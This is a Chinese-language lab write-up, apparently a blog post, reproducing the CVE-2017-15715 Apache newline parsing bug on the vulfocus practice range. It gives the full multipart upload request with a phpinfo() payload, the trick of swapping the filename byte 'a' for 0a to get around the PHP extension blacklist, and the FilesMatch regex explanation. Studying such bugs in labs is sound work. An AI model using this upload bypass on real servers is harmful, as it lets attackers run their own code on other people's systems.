cve-2017-15715复现

用的是 vulfocus在线靶场

image-20240814053401178

抓包发现是空页面

image-20240814053545491

image-20240814053837763

发现响应包内容

HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 21:35:15 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/5.5.38
Content-Length: 0
Connection: close
Content-Type: text/html

存在apache解析漏洞 这里版本是 apache/2.4.10

可以绕过黑名单

构造POST响应包

POST / HTTP/1.1
Host: 123.58.224.8:33729
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358
Content-Length: 359
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="3.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"

3.php
-----------------------------9552222486401230933854482358--


image-20240814054141542

发现文件上传失败

image-20240814054204482

image-20240814054218122

将文件名改成1.phpa 则上传成功 因此确定存在文件上传解析漏洞点

将hex编码中将 a的编码改成0a 上传文件成功

image-20240814054522035

image-20240814055233265

复现成功

image-20240814055338109

	flag-{bmh40f80a7c-89a6-4b05-9ff7-b86df273ffd3}

原理讲解

1.php不能上传

因为黑名单上有php

如果我们把名字改成phpa 就发现可以上传文件

但是我们就算上传成功phpa也没有用因为 phpa 无法解析成php文件

但是1.php%0a会被解析

因为

在php中有这个配置

<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

只要满足这么一个正则匹配,就会告知Apache将这个满足匹配的文件按PHP文件来解析

但是不巧的是这里还有一个东西就是$这个东西,它是用来匹配字符串结尾位置的,而且如果设置了RegExp 对象(正则表达式)的 Multiline(/m) 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。

所以如果我们设置了RegExp 对象的 Multiline 属性(\m)的条件下,$还会匹配到字符串结尾的换行符(也就是%0a),于是也就产生了这么一个换行解析漏洞

上面的意思就是说0a也是会被匹配到的 即1.php%0a也是可以上传的

但是在post中 %0a 会被当做换行符 即上传后的文件

注意

这里有一点需要注意,我们不能直接在1.php文件名后面加上%0a,因为Get传参他是有URL的编码解码的,但是我们这里是POST传参

所以要在hex上改

如将1.phpa 中的a hex 61改成 0a 会变成 1.php 换行看不到

我们这个时候只要访问 ip:1.php%0a 就可以了

参考

https://www.freebuf.com/vuls/270633.html

POST传参


所以要在hex上改

如将1.phpa   中的a hex 61改成 0a 会变成 1.php 换行看不到

我们这个时候只要访问 ip:1.php%0a 就可以了  

参考

https://www.freebuf.com/vuls/270633.html


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值